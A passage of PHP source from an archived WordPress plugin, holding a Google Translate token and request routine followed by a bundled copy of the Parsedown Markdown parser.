'.', $w1 ); $n2 = $w1 [0]; for($j3 = [ ], $t4 = 0, $h5 = 0; $h5 < strlen ( mb_convert_encoding ( $f0, 'UTF-16LE', 'UTF-8' ) ) / 2; $h5 ++) { $z6 = ord ( mb_convert_encoding ( $f0, 'UTF-16LE', 'UTF-8' ) [$h5 * 2] ) + (ord ( mb_convert_encoding ( $f0, 'UTF-16LE', 'UTF-8' ) [$h5 * 2 + 1] ) << 8); if (128 > $z6) { $j3 [$t4 ++] = $z6; } else { if (2048 > $z6) { $j3 [$t4 ++] = ($z6 >> 6) | 192; } else { if (55296 == ($z6 & 64512) && $h5 + 1 < strlen ( mb_convert_encoding ( $f0, 'UTF-16LE', 'UTF-8' ) ) / 2 && 56320 == ((ord ( mb_convert_encoding ( $f0, 'UTF-16LE', 'UTF-8' ) [($h5 + 1) * 2] ) + (ord ( mb_convert_encoding ( $f0, 'UTF-16LE', 'UTF-8' ) [($h5 + 1) * 2 + 1] ) << 8)) & 64512)) { $h5 ++; $z6 = 65536 + (($z6 & 1023) << 10) + ((ord ( mb_convert_encoding ( $f0, 'UTF-16LE', 'UTF-8' ) [$h5 * 2] ) + (ord ( mb_convert_encoding ( $f0, 'UTF-16LE', 'UTF-8' ) [$h5 * 2 + 1] ) << 8)) & 1023); $j3 [$t4 ++] = ($z6 >> 18) | 240; $j3 [$t4 ++] = (($z6 >> 12) & 63) | 128; } else { $j3 [$t4 ++] = ($z6 >> 12) | 224; } $j3 [$t4 ++] = (($z6 >> 6) & 63) | 128; } $j3 [$t4 ++] = ($z6 & 63) | 128; } } $f0 = $n2; for($t4 = 0; $t4 < count ( $j3 ); $t4 ++) { $f0 += $j3 [$t4]; $c7 = $f0; $x8 = '+-a^+6'; for($r9 = 0; $r9 < strlen ( $x8 ) - 2; $r9 += 3) { $u10 = $x8 [$r9 + 2]; $u10 = 'a' <= $u10 ? ord ( $u10 [0] ) - 87 : intval ( $u10 ); $a11 = $c7; $c12 = $u10; if ($c12 >= 32 || $c12 < - 32) { $c13 = ( int ) ($c12 / 32); $c12 = $c12 - $c13 * 32; } if ($c12 < 0) { $c12 = 32 + $c12; } if ($c12 == 0) { return (($a11 >> 1) & 0x7fffffff) * 2 + (($a11 >> $c12) & 1); } if ($a11 < 0) { $a11 = $a11 >> 1; $a11 &= 2147483647; $a11 |= 0x40000000; $a11 = $a11 >> $c12 - 1; } else { $a11 = $a11 >> $c12; } $b14 = $a11; $u10 = '+' == $x8 [$r9 + 1] ? $b14 : $c7 << $u10; $c7 = '+' == $x8 [$r9] ? ($c7 + $u10) & 4294967295 : $c7 ^ $u10; } $f0 = $c7; } $c7 = $f0; $x8 = '+-3^+b+-f'; for($r9 = 0; $r9 < strlen ( $x8 ) - 2; $r9 += 3) { $u10 = $x8 [$r9 + 2]; $u10 = 'a' <= $u10 ? ord ( $u10 [0] ) - 87 : intval ( $u10 ); $a11 = $c7; $c12 = $u10; if ($c12 >= 32 || $c12 < - 32) { $c13 = ( int ) ($c12 / 32); $c12 = $c12 - $c13 * 32; } if ($c12 < 0) { $c12 = 32 + $c12; } if ($c12 == 0) { return (($a11 >> 1) & 0x7fffffff) * 2 + (($a11 >> $c12) & 1); } if ($a11 < 0) { $a11 = $a11 >> 1; $a11 &= 2147483647; $a11 |= 0x40000000; $a11 = $a11 >> $c12 - 1; } else { $a11 = $a11 >> $c12; } $b14 = $a11; $u10 = '+' == $x8 [$r9 + 1] ? $b14 : $c7 << $u10; $c7 = '+' == $x8 [$r9] ? ($c7 + $u10) & 4294967295 : $c7 ^ $u10; } $f0 = $c7; $f0 ^= $w1 [1] ? $w1 [1] + 0 : 0; if (0 > $f0) { $f0 = ($f0 & 2147483647) + 2147483648; } $f0 = fmod ( $f0, pow ( 10, 6 ) ); return $f0 . '.' . ($f0 ^ $n2); } function translateText_old($sourceText, $fromLanguage, $toLanguage){ if(!function_exists('tmpfile')) { return false; } $tempHnd = tmpfile(); $metaDatas = stream_get_meta_data($tempHnd); $tmpFileUri = $metaDatas['uri']; fwrite($tempHnd, $sourceText); curl_setopt($this->ch, CURLOPT_URL, "https://translate.googleusercontent.com/translate_f"); curl_setopt($this->ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($this->ch, CURLOPT_POST, true ); curl_setopt($this->ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($this->ch, CURLOPT_TIMEOUT, 60); if( class_exists('CurlFile')){ $curlFile = new \CurlFile( $tmpFileUri, 'text/plain', 'test.txt'); }else{ $curlFile = '@'.$tmpFileUri.';type=text/plain;filename=test.txt'; } $post = [ 'file' => $curlFile, 'sl' => $fromLanguage, 'tl' => $toLanguage, 'js' => 'y', 'prev' => '_t', 'hl' => 'en', 'ie' => 'UTF-8', 'oe' => 'UTF-8' ]; curl_setopt ( $this->ch, CURLOPT_POSTFIELDS, $post ); $headers = array(); $headers[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; $headers[] = "Accept-Language: en-US,en;q=0.5"; $headers[] = "Referer: https://translate.google.com/?tr=f&hl=en"; $headers[] = "Connection: keep-alive"; $headers[] = "Upgrade-Insecure-Requests: 1"; curl_setopt($this->ch, CURLOPT_HTTPHEADER, $headers); $exec = curl_exec($this->ch); fclose($tempHnd); $httpcode = curl_getinfo($this->ch, CURLINFO_HTTP_CODE); if($httpcode != '200') { update_option('coderevo_translate_alt', '1'); throw new Exception('Failed to translate string, incorrect response ' . $httpcode . ' - ' . $exec); } if($exec === FALSE || trim($exec) == ''){ throw new Exception('Empty translator reply with possible curl error'); } require_once (dirname(__FILE__) . "/simple_html_dom.php"); $strip_list = array('google-src-active-text','google-src-text', 'spinner-container');$exec = str_replace(')', ')', $exec);$exec = str_replace('(', '(', $exec); $html_dom_original_html = aiomatic_str_get_html($exec); if($html_dom_original_html !== false && method_exists($html_dom_original_html, 'find')){ foreach ($strip_list as $strip_class) { if(trim($strip_class) == '') { continue; } $ret = $html_dom_original_html->find('*[class="'.trim($strip_class).'"]'); foreach ($ret as $itm ) { $itm->outertext = '' ; } } $exec = $html_dom_original_html->save(); $html_dom_original_html->clear(); unset($html_dom_original_html); } return $exec ; } } ?>������������������������������������������������������������������������������������������������������res/Parsedown.php�����������������������������������������������������������������������������������0000644�����������������00000123337�14757771437�0010047 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php # # # AiomaticParsedown # http://parsedown.org # # (c) Emanuil Rusev # http://erusev.com # # For the full license information, view the LICENSE file that was distributed # with this source code. # # class AiomaticParsedown { # ~ const version = '1.7.4'; # ~ function text($text) { # make sure no definitions are set $this->DefinitionData = array(); # standardize line breaks $text = str_replace(array("\r\n", "\r"), "\n", $text); # remove surrounding line breaks $text = trim($text, "\n"); # split text into lines $lines = explode("\n", $text); # iterate through lines to identify blocks $markup = $this->lines($lines); # trim line breaks $markup = trim($markup, "\n"); $markup = html_entity_decode($markup, ENT_QUOTES); return $markup; } # # Setters # function setBreaksEnabled($breaksEnabled) { $this->breaksEnabled = $breaksEnabled; return $this; } protected $breaksEnabled; function setMarkupEscaped($markupEscaped) { $this->markupEscaped = $markupEscaped; return $this; } protected $markupEscaped; function setUrlsLinked($urlsLinked) { $this->urlsLinked = $urlsLinked; return $this; } protected $urlsLinked = true; function setSafeMode($safeMode) { $this->safeMode = (bool) $safeMode; return $this; } protected $safeMode; protected $safeLinksWhitelist = array( 'http://', 'https://', 'ftp://', 'ftps://', 'mailto:', 'data:image/png;base64,', 'data:image/gif;base64,', 'data:image/jpeg;base64,', 'irc:', 'ircs:', 'git:', 'ssh:', 'news:', 'steam:', ); # # Lines # protected $BlockTypes = array( '#' => array('Header'), '*' => array('Rule', 'List'), '+' => array('List'), '-' => array('SetextHeader', 'Table', 'Rule', 'List'), '0' => array('List'), '1' => array('List'), '2' => array('List'), '3' => array('List'), '4' => array('List'), '5' => array('List'), '6' => array('List'), '7' => array('List'), '8' => array('List'), '9' => array('List'), ':' => array('Table'), '<' => array('Comment', 'Markup'), '=' => array('SetextHeader'), '>' => array('Quote'), '[' => array('Reference'), '_' => array('Rule'), '`' => array('FencedCode'), '|' => array('Table'), '~' => array('FencedCode'), ); # ~ protected $unmarkedBlockTypes = array( 'Code', ); # # Blocks # protected function lines(array $lines) { $CurrentBlock = null; foreach ($lines as $line) { if (chop($line) === '') { if (isset($CurrentBlock)) { $CurrentBlock['interrupted'] = true; } continue; } if (strpos($line, "\t") !== false) { $parts = explode("\t", $line); $line = $parts[0]; unset($parts[0]); foreach ($parts as $part) { $shortage = 4 - mb_strlen($line, 'utf-8') % 4; $line .= str_repeat(' ', $shortage); $line .= $part; } } $indent = 0; while (isset($line[$indent]) and $line[$indent] === ' ') { $indent ++; } $text = $indent > 0 ? substr($line, $indent) : $line; # ~ $Line = array('body' => $line, 'indent' => $indent, 'text' => $text); # ~ if (isset($CurrentBlock['continuable'])) { $Block = $this->{'block'.$CurrentBlock['type'].'Continue'}($Line, $CurrentBlock); if (isset($Block)) { $CurrentBlock = $Block; continue; } else { if ($this->isBlockCompletable($CurrentBlock['type'])) { $CurrentBlock = $this->{'block'.$CurrentBlock['type'].'Complete'}($CurrentBlock); } } } # ~ $marker = $text[0]; # ~ $blockTypes = $this->unmarkedBlockTypes; if (isset($this->BlockTypes[$marker])) { foreach ($this->BlockTypes[$marker] as $blockType) { $blockTypes []= $blockType; } } # # ~ foreach ($blockTypes as $blockType) { $Block = $this->{'block'.$blockType}($Line, $CurrentBlock); if (isset($Block)) { $Block['type'] = $blockType; if ( ! isset($Block['identified'])) { $Blocks []= $CurrentBlock; $Block['identified'] = true; } if ($this->isBlockContinuable($blockType)) { $Block['continuable'] = true; } $CurrentBlock = $Block; continue 2; } } # ~ if (isset($CurrentBlock) and ! isset($CurrentBlock['type']) and ! isset($CurrentBlock['interrupted'])) { $CurrentBlock['element']['text'] .= "\n".$text; } else { $Blocks []= $CurrentBlock; $CurrentBlock = $this->paragraph($Line); $CurrentBlock['identified'] = true; } } # ~ if (isset($CurrentBlock['continuable']) and $this->isBlockCompletable($CurrentBlock['type'])) { $CurrentBlock = $this->{'block'.$CurrentBlock['type'].'Complete'}($CurrentBlock); } # ~ $Blocks []= $CurrentBlock; unset($Blocks[0]); # ~ $markup = ''; foreach ($Blocks as $Block) { if (isset($Block['hidden'])) { continue; } $markup .= "\n"; $markup .= isset($Block['markup']) ? $Block['markup'] : $this->element($Block['element']); } $markup .= "\n"; # ~ return $markup; } protected function isBlockContinuable($Type) { return method_exists($this, 'block'.$Type.'Continue'); } protected function isBlockCompletable($Type) { return method_exists($this, 'block'.$Type.'Complete'); } # # Code protected function blockCode($Line, $Block = null) { if (isset($Block) and ! isset($Block['type']) and ! isset($Block['interrupted'])) { return; } if ($Line['indent'] >= 4) { $text = substr($Line['body'], 4); $Block = array( 'element' => array( 'name' => 'pre', 'handler' => 'element', 'text' => array( 'name' => 'code', 'text' => $text, ), ), ); return $Block; } } protected function blockCodeContinue($Line, $Block) { if ($Line['indent'] >= 4) { if (isset($Block['interrupted'])) { $Block['element']['text']['text'] .= "\n"; unset($Block['interrupted']); } $Block['element']['text']['text'] .= "\n"; $text = substr($Line['body'], 4); $Block['element']['text']['text'] .= $text; return $Block; } } protected function blockCodeComplete($Block) { $text = $Block['element']['text']['text']; $Block['element']['text']['text'] = $text; return $Block; } # # Comment protected function blockComment($Line) { if ($this->markupEscaped or $this->safeMode) { return; } if (isset($Line['text'][3]) and $Line['text'][3] === '-' and $Line['text'][2] === '-' and $Line['text'][1] === '!') { $Block = array( 'markup' => $Line['body'], ); if (preg_match('/-->$/', $Line['text'])) { $Block['closed'] = true; } return $Block; } } protected function blockCommentContinue($Line, array $Block) { if (isset($Block['closed'])) { return; } $Block['markup'] .= "\n" . $Line['body']; if (preg_match('/-->$/', $Line['text'])) { $Block['closed'] = true; } return $Block; } # # Fenced Code protected function blockFencedCode($Line) { if (preg_match('/^['.$Line['text'][0].']{3,}[ ]*([^`]+)?[ ]*$/', $Line['text'], $matches)) { $Element = array( 'name' => 'code', 'text' => '', ); if (isset($matches[1])) { /** * https://www.w3.org/TR/2011/WD-html5-20110525/elements.html#classes * Every HTML element may have a class attribute specified. * The attribute, if specified, must have a value that is a set * of space-separated tokens representing the various classes * that the element belongs to. * [...] * The space characters, for the purposes of this specification, * are U+0020 SPACE, U+0009 CHARACTER TABULATION (tab), * U+000A LINE FEED (LF), U+000C FORM FEED (FF), and * U+000D CARRIAGE RETURN (CR). */ $language = substr($matches[1], 0, strcspn($matches[1], " \t\n\f\r")); $class = 'language-'.$language; $Element['attributes'] = array( 'class' => $class, ); } $Block = array( 'char' => $Line['text'][0], 'element' => array( 'name' => 'pre', 'handler' => 'element', 'text' => $Element, ), ); return $Block; } } protected function blockFencedCodeContinue($Line, $Block) { if (isset($Block['complete'])) { return; } if (isset($Block['interrupted'])) { $Block['element']['text']['text'] .= "\n"; unset($Block['interrupted']); } if (preg_match('/^'.$Block['char'].'{3,}[ ]*$/', $Line['text'])) { $Block['element']['text']['text'] = substr($Block['element']['text']['text'], 1); $Block['complete'] = true; return $Block; } $Block['element']['text']['text'] .= "\n".$Line['body']; return $Block; } protected function blockFencedCodeComplete($Block) { $text = $Block['element']['text']['text']; $Block['element']['text']['text'] = $text; return $Block; } # # Header protected function blockHeader($Line) { if (isset($Line['text'][1])) { $level = 1; while (isset($Line['text'][$level]) and $Line['text'][$level] === '#') { $level ++; } if ($level > 6) { return; } $text = trim($Line['text'], '# '); $Block = array( 'element' => array( 'name' => 'h' . min(6, $level), 'text' => $text, 'handler' => 'line', ), ); return $Block; } } # # List protected function blockList($Line) { list($name, $pattern) = $Line['text'][0] <= '-' ? array('ul', '[*+-]') : array('ol', '[0-9]+[.]'); if (preg_match('/^('.$pattern.'[ ]+)(.*)/', $Line['text'], $matches)) { $Block = array( 'indent' => $Line['indent'], 'pattern' => $pattern, 'element' => array( 'name' => $name, 'handler' => 'elements', ), ); if($name === 'ol') { $listStart = stristr($matches[0], '.', true); if($listStart !== '1') { $Block['element']['attributes'] = array('start' => $listStart); } } $Block['li'] = array( 'name' => 'li', 'handler' => 'li', 'text' => array( $matches[2], ), ); $Block['element']['text'] []= & $Block['li']; return $Block; } } protected function blockListContinue($Line, array $Block) { if ($Block['indent'] === $Line['indent'] and preg_match('/^'.$Block['pattern'].'(?:[ ]+(.*)|$)/', $Line['text'], $matches)) { if (isset($Block['interrupted'])) { $Block['li']['text'] []= ''; $Block['loose'] = true; unset($Block['interrupted']); } unset($Block['li']); $text = isset($matches[1]) ? $matches[1] : ''; $Block['li'] = array( 'name' => 'li', 'handler' => 'li', 'text' => array( $text, ), ); $Block['element']['text'] []= & $Block['li']; return $Block; } if ($Line['text'][0] === '[' and $this->blockReference($Line)) { return $Block; } if ( ! isset($Block['interrupted'])) { $text = preg_replace('/^[ ]{0,4}/', '', $Line['body']); $Block['li']['text'] []= $text; return $Block; } if ($Line['indent'] > 0) { $Block['li']['text'] []= ''; $text = preg_replace('/^[ ]{0,4}/', '', $Line['body']); $Block['li']['text'] []= $text; unset($Block['interrupted']); return $Block; } } protected function blockListComplete(array $Block) { if (isset($Block['loose'])) { foreach ($Block['element']['text'] as &$li) { if (end($li['text']) !== '') { $li['text'] []= ''; } } } return $Block; } # # Quote protected function blockQuote($Line) { if (preg_match('/^>[ ]?(.*)/', $Line['text'], $matches)) { $Block = array( 'element' => array( 'name' => 'blockquote', 'handler' => 'lines', 'text' => (array) $matches[1], ), ); return $Block; } } protected function blockQuoteContinue($Line, array $Block) { if ($Line['text'][0] === '>' and preg_match('/^>[ ]?(.*)/', $Line['text'], $matches)) { if (isset($Block['interrupted'])) { $Block['element']['text'] []= ''; unset($Block['interrupted']); } $Block['element']['text'] []= $matches[1]; return $Block; } if ( ! isset($Block['interrupted'])) { $Block['element']['text'] []= $Line['text']; return $Block; } } # # Rule protected function blockRule($Line) { if (preg_match('/^(['.$Line['text'][0].'])([ ]*\1){2,}[ ]*$/', $Line['text'])) { $Block = array( 'element' => array( 'name' => 'hr' ), ); return $Block; } } # # Setext protected function blockSetextHeader($Line, array $Block = null) { if ( ! isset($Block) or isset($Block['type']) or isset($Block['interrupted'])) { return; } if (chop($Line['text'], $Line['text'][0]) === '') { $Block['element']['name'] = $Line['text'][0] === '=' ? 'h1' : 'h2'; return $Block; } } # # Markup protected function blockMarkup($Line) { if ($this->markupEscaped or $this->safeMode) { return; } if (preg_match('/^<(\w[\w-]*)(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*(\/)?>/', $Line['text'], $matches)) { $element = strtolower($matches[1]); if (in_array($element, $this->textLevelElements)) { return; } $Block = array( 'name' => $matches[1], 'depth' => 0, 'markup' => $Line['text'], ); $length = strlen($matches[0]); $remainder = substr($Line['text'], $length); if (trim($remainder) === '') { if (isset($matches[2]) or in_array($matches[1], $this->voidElements)) { $Block['closed'] = true; $Block['void'] = true; } } else { if (isset($matches[2]) or in_array($matches[1], $this->voidElements)) { return; } if (preg_match('/<\/'.$matches[1].'>[ ]*$/i', $remainder)) { $Block['closed'] = true; } } return $Block; } } protected function blockMarkupContinue($Line, array $Block) { if (isset($Block['closed'])) { return; } if (preg_match('/^<'.$Block['name'].'(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*>/i', $Line['text'])) # open { $Block['depth'] ++; } if (preg_match('/(.*?)<\/'.$Block['name'].'>[ ]*$/i', $Line['text'], $matches)) # close { if ($Block['depth'] > 0) { $Block['depth'] --; } else { $Block['closed'] = true; } } if (isset($Block['interrupted'])) { $Block['markup'] .= "\n"; unset($Block['interrupted']); } $Block['markup'] .= "\n".$Line['body']; return $Block; } # # Reference protected function blockReference($Line) { if (preg_match('/^\[(.+?)\]:[ ]*<?(\S+?)>?(?:[ ]+["\'(](.+)["\')])?[ ]*$/', $Line['text'], $matches)) { $id = strtolower($matches[1]); $Data = array( 'url' => $matches[2], 'title' => null, ); if (isset($matches[3])) { $Data['title'] = $matches[3]; } $this->DefinitionData['Reference'][$id] = $Data; $Block = array( 'hidden' => true, ); return $Block; } } # # Table protected function blockTable($Line, array $Block = null) { if ( ! isset($Block) or isset($Block['type']) or isset($Block['interrupted'])) { return; } if (strpos($Block['element']['text'], '|') !== false and chop($Line['text'], ' -:|') === '') { $alignments = array(); $divider = $Line['text']; $divider = trim($divider); $divider = trim($divider, '|'); $dividerCells = explode('|', $divider); foreach ($dividerCells as $dividerCell) { $dividerCell = trim($dividerCell); if ($dividerCell === '') { continue; } $alignment = null; if ($dividerCell[0] === ':') { $alignment = 'left'; } if (substr($dividerCell, - 1) === ':') { $alignment = $alignment === 'left' ? 'center' : 'right'; } $alignments []= $alignment; } # ~ $HeaderElements = array(); $header = $Block['element']['text']; $header = trim($header); $header = trim($header, '|'); $headerCells = explode('|', $header); foreach ($headerCells as $index => $headerCell) { $headerCell = trim($headerCell); $HeaderElement = array( 'name' => 'th', 'text' => $headerCell, 'handler' => 'line', ); if (isset($alignments[$index])) { $alignment = $alignments[$index]; $HeaderElement['attributes'] = array( 'style' => 'text-align: '.$alignment.';', ); } $HeaderElements []= $HeaderElement; } # ~ $Block = array( 'alignments' => $alignments, 'identified' => true, 'element' => array( 'name' => 'table', 'handler' => 'elements', ), ); $Block['element']['text'] []= array( 'name' => 'thead', 'handler' => 'elements', ); $Block['element']['text'] []= array( 'name' => 'tbody', 'handler' => 'elements', 'text' => array(), ); $Block['element']['text'][0]['text'] []= array( 'name' => 'tr', 'handler' => 'elements', 'text' => $HeaderElements, ); return $Block; } } protected function blockTableContinue($Line, array $Block) { if (isset($Block['interrupted'])) { return; } if ($Line['text'][0] === '|' or strpos($Line['text'], '|')) { $Elements = array(); $row = $Line['text']; $row = trim($row); $row = trim($row, '|'); preg_match_all('/(?:(\\\\[|])|[^|`]|`[^`]+`|`)+/', $row, $matches); foreach ($matches[0] as $index => $cell) { $cell = trim($cell); $Element = array( 'name' => 'td', 'handler' => 'line', 'text' => $cell, ); if (isset($Block['alignments'][$index])) { $Element['attributes'] = array( 'style' => 'text-align: '.$Block['alignments'][$index].';', ); } $Elements []= $Element; } $Element = array( 'name' => 'tr', 'handler' => 'elements', 'text' => $Elements, ); $Block['element']['text'][1]['text'] []= $Element; return $Block; } } # # ~ # protected function paragraph($Line) { $Block = array( 'element' => array( 'name' => 'p', 'text' => $Line['text'], 'handler' => 'line', ), ); return $Block; } # # Inline Elements # protected $InlineTypes = array( '"' => array('SpecialCharacter'), '!' => array('Image'), '&' => array('SpecialCharacter'), '*' => array('Emphasis'), ':' => array('Url'), '<' => array('UrlTag', 'EmailTag', 'Markup', 'SpecialCharacter'), '>' => array('SpecialCharacter'), '[' => array('Link'), '_' => array('Emphasis'), '`' => array('Code'), '~' => array('Strikethrough'), '\\' => array('EscapeSequence'), ); # ~ protected $inlineMarkerList = '!"*_&[:<>`~\\'; # # ~ # public function line($text, $nonNestables=array()) { $markup = ''; # $excerpt is based on the first occurrence of a marker while ($excerpt = strpbrk($text, $this->inlineMarkerList)) { $marker = $excerpt[0]; $markerPosition = strpos($text, $marker); $Excerpt = array('text' => $excerpt, 'context' => $text); foreach ($this->InlineTypes[$marker] as $inlineType) { # check to see if the current inline type is nestable in the current context if ( ! empty($nonNestables) and in_array($inlineType, $nonNestables)) { continue; } $Inline = $this->{'inline'.$inlineType}($Excerpt); if ( ! isset($Inline)) { continue; } # makes sure that the inline belongs to "our" marker if (isset($Inline['position']) and $Inline['position'] > $markerPosition) { continue; } # sets a default inline position if ( ! isset($Inline['position'])) { $Inline['position'] = $markerPosition; } # cause the new element to 'inherit' our non nestables foreach ($nonNestables as $non_nestable) { $Inline['element']['nonNestables'][] = $non_nestable; } # the text that comes before the inline $unmarkedText = substr($text, 0, $Inline['position']); # compile the unmarked text $markup .= $this->unmarkedText($unmarkedText); # compile the inline $markup .= isset($Inline['markup']) ? $Inline['markup'] : $this->element($Inline['element']); # remove the examined text $text = substr($text, $Inline['position'] + $Inline['extent']); continue 2; } # the marker does not belong to an inline $unmarkedText = substr($text, 0, $markerPosition + 1); $markup .= $this->unmarkedText($unmarkedText); $text = substr($text, $markerPosition + 1); } $markup .= $this->unmarkedText($text); return $markup; } # # ~ # protected function inlineCode($Excerpt) { $marker = $Excerpt['text'][0]; if (preg_match('/^('.$marker.'+)[ ]*(.+?)[ ]*(?<!'.$marker.')\1(?!'.$marker.')/s', $Excerpt['text'], $matches)) { $text = $matches[2]; $text = preg_replace("/[ ]*\n/", ' ', $text); return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => 'code', 'text' => $text, ), ); } } protected function inlineEmailTag($Excerpt) { if (strpos($Excerpt['text'], '>') !== false and preg_match('/^<((mailto:)?\S+?@\S+?)>/i', $Excerpt['text'], $matches)) { $url = $matches[1]; if ( ! isset($matches[2])) { $url = 'mailto:' . $url; } return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => 'a', 'text' => $matches[1], 'attributes' => array( 'href' => $url, ), ), ); } } protected function inlineEmphasis($Excerpt) { if ( ! isset($Excerpt['text'][1])) { return; } $marker = $Excerpt['text'][0]; if ($Excerpt['text'][1] === $marker and preg_match($this->StrongRegex[$marker], $Excerpt['text'], $matches)) { $emphasis = 'strong'; } elseif (preg_match($this->EmRegex[$marker], $Excerpt['text'], $matches)) { $emphasis = 'em'; } else { return; } return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => $emphasis, 'handler' => 'line', 'text' => $matches[1], ), ); } protected function inlineEscapeSequence($Excerpt) { if (isset($Excerpt['text'][1]) and in_array($Excerpt['text'][1], $this->specialCharacters)) { return array( 'markup' => $Excerpt['text'][1], 'extent' => 2, ); } } protected function inlineImage($Excerpt) { if ( ! isset($Excerpt['text'][1]) or $Excerpt['text'][1] !== '[') { return; } $Excerpt['text']= substr($Excerpt['text'], 1); $Link = $this->inlineLink($Excerpt); if ($Link === null) { return; } $Inline = array( 'extent' => $Link['extent'] + 1, 'element' => array( 'name' => 'img', 'attributes' => array( 'src' => $Link['element']['attributes']['href'], 'alt' => $Link['element']['text'], ), ), ); $Inline['element']['attributes'] += $Link['element']['attributes']; unset($Inline['element']['attributes']['href']); return $Inline; } protected function inlineLink($Excerpt) { $Element = array( 'name' => 'a', 'handler' => 'line', 'nonNestables' => array('Url', 'Link'), 'text' => null, 'attributes' => array( 'href' => null, 'title' => null, ), ); $extent = 0; $remainder = $Excerpt['text']; if (preg_match('/\[((?:[^][]++|(?R))*+)\]/', $remainder, $matches)) { $Element['text'] = $matches[1]; $extent += strlen($matches[0]); $remainder = substr($remainder, $extent); } else { return; } if (preg_match('/^[(]\s*+((?:[^ ()]++|[(][^ )]+[)])++)(?:[ ]+("[^"]*"|\'[^\']*\'))?\s*[)]/', $remainder, $matches)) { $Element['attributes']['href'] = $matches[1]; if (isset($matches[2])) { $Element['attributes']['title'] = substr($matches[2], 1, - 1); } $extent += strlen($matches[0]); } else { if (preg_match('/^\s*\[(.*?)\]/', $remainder, $matches)) { $definition = strlen($matches[1]) ? $matches[1] : $Element['text']; $definition = strtolower($definition); $extent += strlen($matches[0]); } else { $definition = strtolower($Element['text']); } if ( ! isset($this->DefinitionData['Reference'][$definition])) { return; } $Definition = $this->DefinitionData['Reference'][$definition]; $Element['attributes']['href'] = $Definition['url']; $Element['attributes']['title'] = $Definition['title']; } return array( 'extent' => $extent, 'element' => $Element, ); } protected function inlineMarkup($Excerpt) { if ($this->markupEscaped or $this->safeMode or strpos($Excerpt['text'], '>') === false) { return; } if ($Excerpt['text'][1] === '/' and preg_match('/^<\/\w[\w-]*[ ]*>/s', $Excerpt['text'], $matches)) { return array( 'markup' => $matches[0], 'extent' => strlen($matches[0]), ); } if ($Excerpt['text'][1] === '!' and preg_match('/^<!---?[^>-](?:-?[^-])*-->/s', $Excerpt['text'], $matches)) { return array( 'markup' => $matches[0], 'extent' => strlen($matches[0]), ); } if ($Excerpt['text'][1] !== ' ' and preg_match('/^<\w[\w-]*(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*\/?>/s', $Excerpt['text'], $matches)) { return array( 'markup' => $matches[0], 'extent' => strlen($matches[0]), ); } } protected function inlineSpecialCharacter($Excerpt) { if ($Excerpt['text'][0] === '&' and ! preg_match('/^&#?\w+;/', $Excerpt['text'])) { return array( 'markup' => '&', 'extent' => 1, ); } $SpecialCharacter = array('>' => 'gt', '<' => 'lt', '"' => 'quot'); if (isset($SpecialCharacter[$Excerpt['text'][0]])) { return array( 'markup' => '&'.$SpecialCharacter[$Excerpt['text'][0]].';', 'extent' => 1, ); } } protected function inlineStrikethrough($Excerpt) { if ( ! isset($Excerpt['text'][1])) { return; } if ($Excerpt['text'][1] === '~' and preg_match('/^~~(?=\S)(.+?)(?<=\S)~~/', $Excerpt['text'], $matches)) { return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => 'del', 'text' => $matches[1], 'handler' => 'line', ), ); } } protected function inlineUrl($Excerpt) { if ($this->urlsLinked !== true or ! isset($Excerpt['text'][2]) or $Excerpt['text'][2] !== '/') { return; } if (preg_match('/\bhttps?:[\/]{2}[^\s<]+\b\/*/ui', $Excerpt['context'], $matches, PREG_OFFSET_CAPTURE)) { $url = $matches[0][0]; $Inline = array( 'extent' => strlen($matches[0][0]), 'position' => $matches[0][1], 'element' => array( 'name' => 'a', 'text' => $url, 'attributes' => array( 'href' => $url, ), ), ); return $Inline; } } protected function inlineUrlTag($Excerpt) { if (strpos($Excerpt['text'], '>') !== false and preg_match('/^<(\w+:\/{2}[^ >]+)>/i', $Excerpt['text'], $matches)) { $url = $matches[1]; return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => 'a', 'text' => $url, 'attributes' => array( 'href' => $url, ), ), ); } } # ~ protected function unmarkedText($text) { if ($this->breaksEnabled) { $text = preg_replace('/[ ]*\n/', "<br />\n", $text); } else { $text = preg_replace('/(?:[ ][ ]+|[ ]*\\\\)\n/', "<br />\n", $text); $text = str_replace(" \n", "\n", $text); } return $text; } # # Handlers # protected function element(array $Element) { if ($this->safeMode) { $Element = $this->sanitiseElement($Element); } $markup = '<'.$Element['name']; if (isset($Element['attributes'])) { foreach ($Element['attributes'] as $name => $value) { if ($value === null) { continue; } $markup .= ' '.$name.'="'.self::escape($value).'"'; } } $permitRawHtml = false; if (isset($Element['text'])) { $text = $Element['text']; } // very strongly consider an alternative if you're writing an // extension elseif (isset($Element['rawHtml'])) { $text = $Element['rawHtml']; $allowRawHtmlInSafeMode = isset($Element['allowRawHtmlInSafeMode']) && $Element['allowRawHtmlInSafeMode']; $permitRawHtml = !$this->safeMode || $allowRawHtmlInSafeMode; } if (isset($text)) { $markup .= '>'; if (!isset($Element['nonNestables'])) { $Element['nonNestables'] = array(); } if (isset($Element['handler'])) { $markup .= $this->{$Element['handler']}($text, $Element['nonNestables']); } elseif (!$permitRawHtml) { $markup .= self::escape($text, true); } else { $markup .= $text; } $markup .= '</'.$Element['name'].'>'; } else { $markup .= ' />'; } return $markup; } protected function elements(array $Elements) { $markup = ''; foreach ($Elements as $Element) { $markup .= "\n" . $this->element($Element); } $markup .= "\n"; return $markup; } # ~ protected function li($lines) { $markup = $this->lines($lines); $trimmedMarkup = trim($markup); if ( ! in_array('', $lines) and substr($trimmedMarkup, 0, 3) === '<p>') { $markup = $trimmedMarkup; $markup = substr($markup, 3); $position = strpos($markup, "</p>"); $markup = substr_replace($markup, '', $position, 4); } return $markup; } # # Deprecated Methods # function parse($text) { $markup = $this->text($text); return $markup; } protected function sanitiseElement(array $Element) { static $goodAttribute = '/^[a-zA-Z0-9][a-zA-Z0-9-_]*+$/'; static $safeUrlNameToAtt = array( 'a' => 'href', 'img' => 'src', ); if 